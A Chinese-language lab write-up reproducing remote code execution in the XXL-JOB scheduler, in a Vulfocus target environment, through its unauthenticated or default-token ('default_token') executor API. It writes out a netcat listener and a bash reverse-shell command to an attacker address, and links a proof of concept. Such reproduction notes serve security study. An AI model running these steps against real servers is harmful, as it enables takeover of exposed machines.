XXL-JOB是一个轻量级分布式任务调度平台,用于实现大规模任务的调度和执行。
先前版本的XXL-JOB默认情况下API接口没有配置认证措施,现已加入accessToken,但公网仍然有大量使用默认token的机器。未授权的攻击者可构造恶意请求,触发反序列化,造成远程执行命令,直接控制服务器。

老版本复现

老版本没有添加header中的token认证,可以直接RCE
使用Vulfocus提供的靶场环境,flag位于/tmp目录下

攻击机nc监听8888端口nc -lvn 8888

靶机执行/bin/bash -i >& /dev/tcp/172.17.0.1/8888 0>&1反弹shell
根据文档给出的执行器API,构造如下请求

成功反弹shell,执行命令获取flag

文档地址

https://www.xuxueli.com/xxl-job/

说明:触发任务执行
------
地址格式:{执行器内嵌服务根地址}/run
Header:
    XXL-JOB-ACCESS-TOKEN : {请求令牌}
请求数据格式如下,放置在 RequestBody 中,JSON格式:
    {
        "jobId":1,                                  // 任务ID
        "executorHandler":"demoJobHandler",         // 任务标识
        "executorParams":"demoJobHandler",          // 任务参数
        "executorBlockStrategy":"COVER_EARLY",      // 任务阻塞策略,可选值参考 com.xxl.job.core.enums.ExecutorBlockStrategyEnum
        "executorTimeout":0,                        // 任务超时时间,单位秒,大于零时生效
        "logId":1,                                  // 本次调度日志ID
        "logDateTime":1586629003729,                // 本次调度日志时间
        "glueType":"BEAN",                          // 任务模式,可选值参考 com.xxl.job.core.glue.GlueTypeEnum
        "glueSource":"xxx",                         // GLUE脚本代码
        "glueUpdatetime":1586629003727,             // GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新
        "broadcastIndex":0,                         // 分片参数:当前分片
        "broadcastTotal":0                          // 分片参数:总分片
    }
响应数据格式:
    {
      "code": 200,      // 200 表示正常、其他失败
      "msg": null       // 错误提示消息
    }

默认token

配置文件位于/xxl-job-admin/src/main/resources/application.properties
默认token的值xxl.job.accessToken=default_token
在老版基础上添加一个XXL-JOB-ACCESS-TOKEN: default_token的header即可实现RCE

PoC

老版PoC, 需要自行修改代码添加header: https://github.com/mrknow001/xxl-job-rce